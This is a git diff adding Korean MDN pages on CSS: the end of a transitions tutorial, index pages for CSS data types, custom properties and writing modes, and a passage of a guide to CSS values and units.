+<p>CSS의 흔한 사용은 <span style="line-height: 1.5;">사용자가 마우스 커서를 메뉴 위에 올려놓을 때 그 메뉴 </span><span style="line-height: 1.5;">아이템을 하이라이팅하는 것입니다. 트랜지션을 사용하여 효과를 훨씬 더 매력적으로 만들 수 있습니다.</span></p>
+
+<p>코드 스니핏(snippets, 역자주: 재활용이 가능한 소스 조각)을 보기 전에, <span style="line-height: 1.5;">(여러분의 브라우저가 트랜지션을 지원한다고 가정하면) </span><a class="external" href="/samples/cssref/transitions/sample2" style="line-height: 1.5;" title="http://developer.mozilla.org/samples/cssref/transitions/sample2/">라이브 데모</a><span style="line-height: 1.5;">를 보고 싶을지도 모르겠습니다. 그것이 사용한 </span><a class="external" href="/samples/cssref/transitions/sample2/transitions.css" style="line-height: 1.5;" title="http://developer.mozilla.org/samples/cssref/transitions/sample2/transitions.css">CSS를 직접</a> <span style="line-height: 1.5;">볼 수도 있습니다.</span></p>
+
+<p>우선 HTML을 사용하여 메뉴를 설정합니다.</p>
+
+<pre class="brush: html">&lt;div class="sidebar"&gt;
+ &lt;p&gt;&lt;a class="menuButton" href="home"&gt;Home&lt;/a&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;a class="menuButton" href="about"&gt;About&lt;/a&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;a class="menuButton" href="contact"&gt;Contact Us&lt;/a&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;a class="menuButton" href="links"&gt;Links&lt;/a&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>그리고 우리 메뉴의 모습과 느낌(look and feel)을<span style="line-height: 1.5;"> CSS로 만듭니다. 관련 부분이 여기 있습니다.</span></p>
+
+<pre class="brush: css">.menuButton {
+ position: relative;
+ transition-property: background-color, color;
+ transition-duration: 1s;
+ transition-timing-function: ease-out;
+ text-align: left;
+ background-color: grey;
+ left: 5px;
+ top: 5px;
+ height: 26px;
+ color: white;
+ border-color: black;
+ font-family: sans-serif;
+ font-size: 20px;
+ text-decoration: none;
+ box-shadow: 2px 2px 1px black;
+ padding: 2px 4px;
+ border: solid 1px black;
+}
+
+.menuButton:hover {
+ position: relative;
+ transition-property: background-color, color;
+ transition-duration: 1s;
+ transition-timing-function: ease-out;
+ background-color:white;
+ color:black;
+ box-shadow: 2px 2px 1px black;
+}
+</pre>
+
+<p>이 CSS는 그 요소가 <span style="line-height: 1.5;">{{ cssxref(":hover") }} 상태일 때 배경과</span><span style="line-height: 1.5;"> 텍스트 색상 모두를 변경하면서 메뉴의 모습을 설정합니다.</span></p>
+
+<p>그 효과를 장황하게 설명하는 대신, <a class="external" href="/en/CSS/CSS_transitions#Browser_compatibility" style="line-height: 1.5;" title="en/CSS/CSS_transitions#Browser_compatibility">브라우저가 트랜지션을 지원한다면, </a><a href="/samples/cssref/transitions/sample2" style="line-height: 1.5;" title="https://developer.mozilla.org/samples/cssref/transitions/sample2">라이브 샘플을 살펴보세요</a><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="트랜지션을_이용하여_JavaScript_기능_부드럽게_하기">트랜지션을 이용하여 JavaScript 기능 부드럽게 하기</h2>
+
+<p>트랜지션은 JavaScript 기능에 아무것도 하지 않고 훨씬 더 부드럽게 보이도록 하는 훌륭한 도구입니다. 아래 예제를 보세요.</p>
+
+<pre class="brush: html">&lt;p&gt;Click anywhere to move the ball&lt;/p&gt;
+&lt;div id="foo"&gt;&lt;/div&gt;
+</pre>
+
+<p>JavaScript를 사용하여 공을 어떤 위치로 움직이는 효과가 일어나게 할 수 있습니다.</p>
+
+<pre class="brush: js">var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+ f.style.left = (ev.clientX-25)+'px';
+ f.style.top = (ev.clientY-25)+'px';
+},false);
+</pre>
+
+<p>추가 노력 없이 <span style="line-height: 1.5;">CSS로 </span><span style="line-height: 1.5;">이것을 부드럽게 할 수 있습니다. 단순히 그 요소에 트랜지션을 추가하면 어떠한 변화도 부드럽게 일어날 것입니다.</span></p>
+
+<pre class="brush: css">p {
+ padding-left: 60px;
+}
+
+#foo {
+ border-radius: 50px;
+ width: 50px;
+ height: 50px;
+ background: #c00;
+ position: absolute;
+ top: 0;
+ left: 0;
+ transition: all 1s;
+}
+</pre>
+
+<p>여기에서 확인할 수 있습니다. <a class="external" href="http://jsfiddle.net/RwtHn/5/" title="http://jsfiddle.net/RwtHn/5/">http://jsfiddle.net/RwtHn/5/</a></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '', '') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li><span class="external"><a href="http://techstream.org/Web-Design/Dock-Menu-with-CSS3" title="CSS3 Dock Menu using CSS transitions">CSS3 Dock Menu</a> using CSS transitions</span></li>
+ <li>The {{ domxref("TransitionEvent") }} interface and the <a href="/en-US/docs/Mozilla_event_reference/transitionend" title="The 'transitionend' event"><code>transitionend</code></a> event.</li>
+</ul>
diff --git a/files/ko/web/css/css_types/index.html b/files/ko/web/css/css_types/index.html
new file mode 100644
index 0000000000..a819349900
--- /dev/null
+++ b/files/ko/web/css/css_types/index.html
@@ -0,0 +1,100 @@
+---
+title: CSS 자료형
+slug: Web/CSS/CSS_Types
+tags:
+ - CSS
+ - CSS Data Type
+ - Overview
+ - Reference
+ - 자료형
+translation_of: Web/CSS/CSS_Types
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>CSS 자료형</strong>은 CSS 속성과 함수가 받아들이는, 키워드와 단위를 포함한 일반적인 값을 정의합니다.</span> 자료형은 <a href="https://www.w3.org/TR/css3-values/#component-types">Component value type</a>의 특별한 종류입니다.</p>
+
+<p>형식 구문에서 자료형을 나타낼 땐 부등호 "&lt;"와 "&gt;"로 감싸서 표기합니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;angle-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;angular-color-hint&gt;")}}</li>
+ <li>{{cssxref("&lt;angular-color-stop&gt;")}}</li>
+ <li>{{cssxref("&lt;attr-fallback&gt;")}}</li>
+ <li>{{cssxref("&lt;attr-name&gt;")}}</li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-product&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-sum&gt;")}}</li>
+ <li>{{cssxref("&lt;calc-value&gt;")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;color-stop&gt;")}}</li>
+ <li>{{cssxref("&lt;color-stop-angle&gt;")}}</li>
+ <li>{{cssxref("&lt;counter-style&gt;")}}</li>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li>{{cssxref("&lt;dimension&gt;")}}</li>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("&lt;ident&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;length&gt;")}}</li>
+ <li>{{cssxref("&lt;length-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;number-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+ <li>{{cssxref("&lt;quote&gt;")}}</li>
+ <li>{{cssxref("&lt;ratio&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-box&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-radius&gt;")}}</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;time-percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;timing-function&gt;")}}</li>
+ <li>{{cssxref("&lt;toggle-value&gt;")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("&lt;type-or-unit&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+ <li>{{cssxref("&lt;url-modifier&gt;")}}</li>
+ <li>{{cssxref("&lt;zero&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Values') }}</td>
+ <td>{{ Spec2('CSS4 Values') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Values') }}</td>
+ <td>{{ Spec2('CSS3 Values') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Values_and_Units">CSS 단위와 값</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS 단위와 값 소개</a></li>
+</ul>
diff --git a/files/ko/web/css/css_variables/index.html b/files/ko/web/css/css_variables/index.html
new file mode 100644
index 0000000000..56efa433e7
--- /dev/null
+++ b/files/ko/web/css/css_variables/index.html
@@ -0,0 +1,37 @@
+---
+title: CSS Custom Properties for Cascading Variables
+slug: Web/CSS/CSS_Variables
+translation_of: Web/CSS/CSS_Variables
+---
+<div>{{cssref}}</div>
+
+<p><strong>CSS Custom Properties for Cascading Variables</strong></p>
+
+<p>캐스케이딩 변수를 위한 CSS 사용자지정 속성은, 반복적으로 사용가능한 사용자지정 속성을 만들 수 있게 해주는 모듈입니다.</p>
+
+<h2 id="CSS_속성">CSS 속성</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("--*")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Variables")}}</td>
+ <td>{{Spec2("CSS3 Variables")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_writing_modes/index.html b/files/ko/web/css/css_writing_modes/index.html
new file mode 100644
index 0000000000..a69bc088cc
--- /dev/null
+++ b/files/ko/web/css/css_writing_modes/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS Writing Modes
+slug: Web/CSS/CSS_Writing_Modes
+tags:
+ - CSS
+ - CSS Writing Modes
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Writing_Modes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Writing Modes</strong>는 다양한 국제 쓰기 모드를 정의하는 CSS 모듈입니다, 좌에서 우(가령 Latin 및 Indic 스크립트에 사용됨), 우에서 좌(가령 Hebrew 또는 Arabic 스크립티에 사용됨), 양방향(좌에서 우 및 우에서 좌 스크립트를 섞을 때 사용됨) 및 세로(가령 일부 Asian 스크립트에 사용됨) 등.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("glyph-orientation-horizontal")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Writing Modes')}}</td>
+ <td>{{Spec2('CSS3 Writing Modes')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_단위와_값/index.html b/files/ko/web/css/css_단위와_값/index.html
new file mode 100644
index 0000000000..94d8ceabd6
--- /dev/null
+++ b/files/ko/web/css/css_단위와_값/index.html
@@ -0,0 +1,497 @@
+---
+title: CSS 단위와 값
+slug: Web/CSS/CSS_단위와_값
+tags:
+ - CSS
+ - 값과 단위
+ - 안내서
+ - 참조
+translation_of: Web/CSS/CSS_Values_and_Units
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">모든 CSS 선언은 속성 / 값 쌍을 포함합니다. 속성에 따라 값은 하나의 정수 또는 키워드, 여러 개의 키워드, 단위가 있거나 없는 값의 나열이 될 수 있습니다. CSS 속성에 허용되는 공통적인 자료형(단위와 값)의 집합이 있습니다.</span> 아래는 이들 자료형 대부분에 대한 개요입니다. 더 자세한 정보를 보려면 각 자료형의 페이지를 참고하세요.</p>
+
+<h2 id="텍스트_자료형">텍스트 자료형</h2>
+
+<ul>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li><code>&lt;ident&gt;</code>로서 미리 정의된 키워드</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+</ul>
+
+<p>텍스트 자료형은 <code>&lt;string&gt;</code>이거나, 연속된 문자를 따옴표로 감싼 것, 또는 따옴표로 감싸지 않은 "CSS 식별자"인 <code>&lt;ident&gt;</code>가 될 수 있습니다. <code>&lt;string&gt;</code>은 작은따옴표 또는 큰따옴표로 감싸져야 합니다. 사양에서 <code>&lt;ident&gt;</code> 또는 <code>&lt;custom-ident&gt;</code>의 목록에 포함되어 있는 CSS 식별자는 따옴표로 감싸서는 안 됩니다.</p>
+
+<p>CSS 사양에서는 웹 개발자가 정의할 수 있는 값들, 가령 키프레임 애니메이션이나 서체 가족의 이름, 그리드 영역 같은 것들을 {{cssxref("&lt;custom-ident&gt;")}}, {{cssxref("&lt;string&gt;")}}, 또는 둘 다로서 목록에 표시합니다.</p>
+
+<p>사용자가 정의한 텍스트 값을 따옴표로 감싸는 것과 감싸지 않는 것 모두가 허용되는 경우, 사양에서는 <code>&lt;custom-ident&gt; | &lt;string&gt;</code>로서 이를 목록에 표시하며, 이는 따옴표가 선택 사항임을 의미합니다. 애니메이션 이름이 바로 그런 경우입니다:</p>
+
+<pre class="brush: css notranslate">@keyframe validIdent {
+ /* keyframes go here */
+}
+@keyframe 'validString' {
+ /* keyframes go here */
+}</pre>
+
+<p>몇몇 텍스트 값은 따옴표로 감싸지 않는 경우 유효하지 않습니다. 예를 들어, {{cssxref("grid-area")}}의 값은 <code>&lt;custom-ident&gt;</code>일 수 있으므로, 만약 <code>content</code>라는 이름의 그리드 영역이 있을 때 아래처럼 이를 따옴표 없이 사용할 수 있습니다:</p>
+
+<pre class="brush: css notranslate">.item {
+ grid-area: content;
+}
+</pre>
+
+<p>반면, {{cssxref("&lt;string&gt;")}}인 자료형의 경우, 예를 들어 {{cssxref("content")}} 속성의 문자열 값은 따옴표로 감싸져야 합니다:</p>
+
+<pre class="brush: css notranslate">.item::after {
+ content: "This is my content.";
+}
+</pre>
+
+<p>일반적으로 이모지를 포함해 여러분이 원하는 아무 이름이나 만들 수 있지만, <code>none</code>, <code>unset</code>, <code>initial</code>, <code>inherit</code>, 숫자 또는 2개의 대시로 시작하는 이름은 식별자가 될 수 없으며, 대부분의 경우 미리 정의된 다른 CSS 키워드와 동일한 이름을 사용하고 싶지는 않을 것입니다. 더 자세한 내용을 보려면 {{cssxref("&lt;custom-ident&gt;")}}와 {{cssxref("&lt;string&gt;")}}의 참조 페이지를 확인하세요.</p>
+
+<h3 id="미리_정의된_키워드_값">미리 정의된 키워드 값</h3>
+
+<p>미리 정의된 키워드 값은 특정 속성의 사양에 정의된 텍스트 값입니다. 이 키워드들은 CSS 식별자이기도 해서 따옴표 없이 사용됩니다.</p>
+
+<p>CSS 사양 또는 MDN의 속성 페이지에서 CSS 속성의 값에 대한 문법을 보면, 허용되는 키워드가 아래와 같은 형태로 나열됩니다. 아래는 {{cssxref("float")}}에 허용되는 미리 정의된 키워드 값입니다.</p>
+
+<pre class="syntaxbox notranslate">left <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> right <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> none <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> inline-start <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar" title="Single bar: exactly one of the entities must be present">|</a> inline-end</pre>
+
+<p>이런 값들은 따옴표 없이 사용됩니다:</p>
+
+<pre class="brush: css notranslate"><code>.box {
+ float: left;
+}
+</code></pre>
+
+<h3 id="CSS_전체에_공유되는_값">CSS 전체에 공유되는 값</h3>
+
+<p>한 속성의 사양의 일부로서 존재하는 미리 정의된 키워드와 더불어, 모든 CSS 속성은 CSS 전체에 걸쳐 공유되는 값인 {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}을 받아들일 수 있으며, 이들은 기본 동작을 명시적으로 지정합니다.</p>
+
+<p><code>initial</code> 키워드는 속성의 초기 값으로 지정된 값을 표현합니다. <code>inherit</code> 키워드는 해당 요소의 부모에 적용된 동일 속성의 계산값을 표현하며, 해당 속성이 상속된다고 가정합니다.</p>
+
+<p><code>unset</code> 키워드는 <code>inherit</code> 또는 <code>initial</code>처럼 동작하는데, 해당 속성이 상속되는 경우 전자, 아닌 경우 후자로 동작합니다.</p>
+
+<p>네번째 값으로 {{cssxref("revert")}}가 Cascade Level 4 사양에 추가되었지만, 지금은 브라우저 지원 상태가 좋지 않습니다.</p>
+
+<h3 id="URL">URL</h3>
+
+<p>{{cssxref("&lt;url&gt;")}} 자료형은 함수 표기법을 사용하며, 함수가 URL에 해당하는 <code>&lt;string&gt;</code>을 받는 형태입니다. 이것은 절대 URL 또는 상대 URL일 수 있습니다. 예를 들어, 배경 이미지를 넣고 싶을 때 다음 중 아무거나 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  background-image: url("images/my-background.png");
+}</code>
+
+<code>.box {
+ background-image: url("https://www.exammple.com/images/my-background.png");
+}</code>
+</pre>
+
+<p><code>url()</code> 의 매개변수는 따옴표로 감싸거나 감싸지 않을 수 있습니다. 감싸지 않는 경우, 이는 <code>&lt;url-token&gt;</code>으로 해석되어 특정 문자를 이스케이프하는 등의 추가적인 할 일이 생깁니다. 더 자세한 내용을 보려면 {{cssxref("&lt;url&gt;")}}를 확인하세요.</p>
+
+<h2 id="숫자_자료형">숫자 자료형</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;dimension&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+</ul>
+
+<h3 id="정수">정수</h3>
+
+<p>정수는 1개 이상의 10진수 숫자(<code>0</code>부터 <code>9</code>)로, 예를 들어 <code>1024</code>나 <code>-55</code>가 이에 속합니다. 정수 앞에는 <code>+</code> 또는 <code>-</code> 기호를 덧붙일 수 있는데, 기호와 정수 사이에 공백이 없어야 합니다.</p>
+
+<h3 id="숫자">숫자</h3>
+
+<p>{{cssxref("&lt;number&gt;")}}는 실수를 나타내며, 소수점과 소수부분을 포함할 수도 있고 포함하지 않을 수도 있습니다. 예를 들어 <code>0.255</code>, <code>128</code>, <code>-1.2</code>가 이에 속합니다. 숫자 앞에도 <code>+</code>나 <code>-</code> 기호를 덧붙일 수 있습니다.</p>
+
+<h3 id="치수">치수</h3>
+
+<p>{{cssxref("&lt;dimension&gt;")}}은 <code>&lt;number&gt;</code>에 단위를 붙인 것으로, 예를 들면 <code>45deg</code>, <code>100ms</code>, <code>10px</code>가 이에 속합니다. 덧붙인 단위 식별자는 대소문자를 구별하지 않습니다. 숫자와 단위 식별자 사이에는 공백 또는 다른 문자가 들어갈 수 없습니다: 즉, <code>1 cm</code>는 유효하지 않습니다.</p>
+
+<p>CSS는 치수를 사용해 아래와 같은 것들을 표시합니다:</p>
+
+<ul>
+ <li>{{cssxref("&lt;length&gt;")}} (거리 단위)</li>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+</ul>
+
+<p>다음 절에서 이것들을 다룹니다.</p>
+
+<h4 id="거리_단위">거리 단위</h4>
+
+<p>거리 단위, 또는 길이가 값으로 허용되는 속성은 {{cssxref("&lt;length&gt;")}} 자료형으로 표시됩니다. CSS에는 2가지 종류의 길이가 있습니다: 상대적 길이와 절대적 길이입니다.</p>
+
+<p>상대적 길이 단위는 다른 무언가와 비교해 상대적인 길이를 나타냅니다. 예를 들어, <code>em</code>은 해당 요소의 폰트 크기에 상대적이며 <code>vh</code>는 뷰포트의 높이에 상대적입니다.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="상대적_길이_단위들">상대적 길이 단위들</h4>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">단위</th>
+ <th scope="col">비교의 대상</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>em</code></td>
+ <td>해당 요소의 폰트 크기</td>
+ </tr>
+ <tr>
+ <td><code>ex</code></td>
+ <td>해당 요소의 폰트의 x높이</td>
+ </tr>
+ <tr>
+ <td><code>cap</code></td>
+ <td>해당 요소의 폰트의 대문자 높이(대문자의 공칭 높이)</td>
+ </tr>
+ <tr>
+ <td><code>ch</code></td>
+ <td>해당 요소의 폰트의 좁은 문자가 평균적으로 나아가는 길이, “0” (ZERO, U+0030) 문자로 대표됨.</td>
+ </tr>
+ <tr>
+ <td><code>ic</code></td>
+ <td>해당 요소의 폰트의 전각 문자가 평균적으로 나아가는 길이, “水” (CJK 물 표의 문자, U+6C34) 문자로 대표됨.</td>
+ </tr>
+ <tr>
+ <td><code>rem</code></td>
+ <td>루트 요소의 폰트 크기</td>
+ </tr>
+ <tr>
+ <td><code>lh</code></td>
+ <td>해당 요소의 줄 높이</td>
+ </tr>
+ <tr>
+ <td><code>rlh</code></td>
+ <td>루트 요소의 줄 높이</td>
+ </tr>
+ <tr>
+ <td><code>vw</code></td>
+ <td>뷰포트 너비의 1%</td>
+ </tr>
+ <tr>
+ <td><code>vh</code></td>
+ <td>뷰포트 높이의 1%</td>
+ </tr>
+ <tr>
+ <td><code>vi</code></td>
+ <td>루트 요소의 인라인 축 방향으로 뷰포트 길이의 1%</td>
+ </tr>
+ <tr>
+ <td><code>vb</code></td>
+ <td>루트 요소의 블록 축 방향으로 뷰포트 길이의 1%</td>
+ </tr>
+ <tr>
+ <td><code>vmin</code></td>
+ <td>뷰포트의 길이 중 더 짧은 것의 1%</td>
+ </tr>
+ <tr>
+ <td><code>vmax</code></td>
+ <td>뷰포트의 길이 중 더 긴 것의 1%</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>절대적 길이 단위는 인치 또는 센티미터의 물리적 길이로 고정적입니다. 그래서 이 단위들의 다수는 인쇄물과 같은 고정된 크기의 매체로 출력되는 경우에 유용합니다. 예를 들어, <code>mm</code>는 물리적인 밀리미터, 즉 센티미터의 1/10입니다.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="절대적_길이_단위">절대적 길이 단위</h4>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">단위</th>
+ <th scope="col">이름</th>
+ <th scope="col">다음과 동일함</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>cm</code></td>
+ <td>센티미터</td>
+ <td>1cm = 96px/2.54</td>
+ </tr>
+ <tr>
+ <td><code>mm</code></td>
+ <td>밀리미터</td>
+ <td>1mm = 1cm의 1/10</td>
+ </tr>
+ <tr>
+ <td><code>Q</code></td>
+ <td>쿼터-밀리미터</td>
+ <td>1Q = 1cm의 1/40</td>
+ </tr>
+ <tr>
+ <td><code>in</code></td>
+ <td>인치</td>
+ <td>1in = 2.54cm = 96px</td>
+ </tr>
+ <tr>
+ <td><code>pc</code></td>
+ <td>피카</td>
+ <td>1pc = 1in의 1/16</td>
+ </tr>
+ <tr>
+ <td><code>pt</code></td>
+ <td>포인트</td>
+ <td>1pt = 1in의 1/72</td>
+ </tr>
+ <tr>
+ <td><code>px</code></td>
+ <td>픽셀</td>
+ <td>1px = 1in의 1/96</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>길이 값을 포함할 때 길이가 <code>0</code>이면, 단위 식별자가 필요하지 않습니다. 그 외의 경우 단위 식별자가 필요합니다. 단위 식별자는 대소문자를 구별하지 않으며, 값의 숫자 부분 이후에 공백 없이 바로 나와야 합니다.</p>
+
+<h4 id="각도_단위">각도 단위</h4>
+
+<p>각도 값은 {{cssxref("&lt;angle&gt;")}} 자료형으로 표시되며 다음의 값이 허용됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">단위</th>
+ <th scope="col">이름</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>deg</code></td>
+ <td>도</td>
+ <td>360도가 완전한 원을 이룹니다.</td>
+ </tr>
+ <tr>
+ <td><code>grad</code></td>
+ <td>그라디안</td>
+ <td>400 그라디안이 완전한 원을 이룹니다.</td>
+ </tr>
+ <tr>
+ <td><code>rad</code></td>
+ <td>라디안</td>
+ <td>2π 라디안이 완전한 원을 이룹니다.</td>
+ </tr>
+ <tr>
+ <td><code>turn</code></td>
+ <td>턴</td>
+ <td>1턴이 완전한 원을 이룹니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="시간_단위">시간 단위</h4>
+
+<p>시간 단위는 {{cssxref("&lt;time&gt;")}} 자료형으로 표시됩니다. 시간 단위를 포함할 때는 단위 식별자인 <code>s</code> 또는 <code>ms</code>가 반드시 필요합니다. 아래의 값이 허용됩니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">단위</th>
+ <th scope="col">이름</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>s</code></td>
+ <td>초</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>ms</code></td>
+ <td>밀리초</td>
+ <td>1,000 밀리초는 1초와 같습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="진동수_단위">진동수 단위</h4>
+
+<p>진동수 단위는 {{cssxref("&lt;frequency&gt;")}} 자료형으로 표시됩니다. 아래 값이 허용됩니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">단위</th>
+ <th scope="col">이름</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>Hz</code></td>
+ <td>헤르츠</td>
+ <td>1초당 발생한 횟수를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>kHz</code></td>
+ <td>킬로헤르츠</td>
+ <td>1 킬로헤르츠는 1000 헤르츠와 같습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>1Hz</code>, 또는 <code>1hz</code>, <code>1HZ</code>는 초당 진동수입니다.</p>
+
+<h4 id="해상도_단위">해상도 단위</h4>
+
+<p>해상도 단위는 {{cssxref("&lt;resolution&gt;")}}로 표시됩니다. 이것들은 스크린과 같은 그래픽 표시에서 CSS 인치당, 센티미터당, 픽셀당 몇 개의 점을 포함할 수 있는지를 나타냄으로써 점 1개의 크기를 표현합니다. 다음의 값이 허용됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">단위</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>dpi</code></td>
+ <td>인치당 점의 수.</td>
+ </tr>
+ <tr>
+ <td><code>dpcm</code></td>
+ <td>센티미터당 점의 수.</td>
+ </tr>
+ <tr>
+ <td><code>dppx</code>, <code>x</code></td>
+ <td>픽셀당 점의 수.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="퍼센트">퍼센트</h3>
+
+<p>{{cssxref("&lt;percentage&gt;")}}는 다른 값의 일부분을 표현하는 자료형입니다.</p>
+
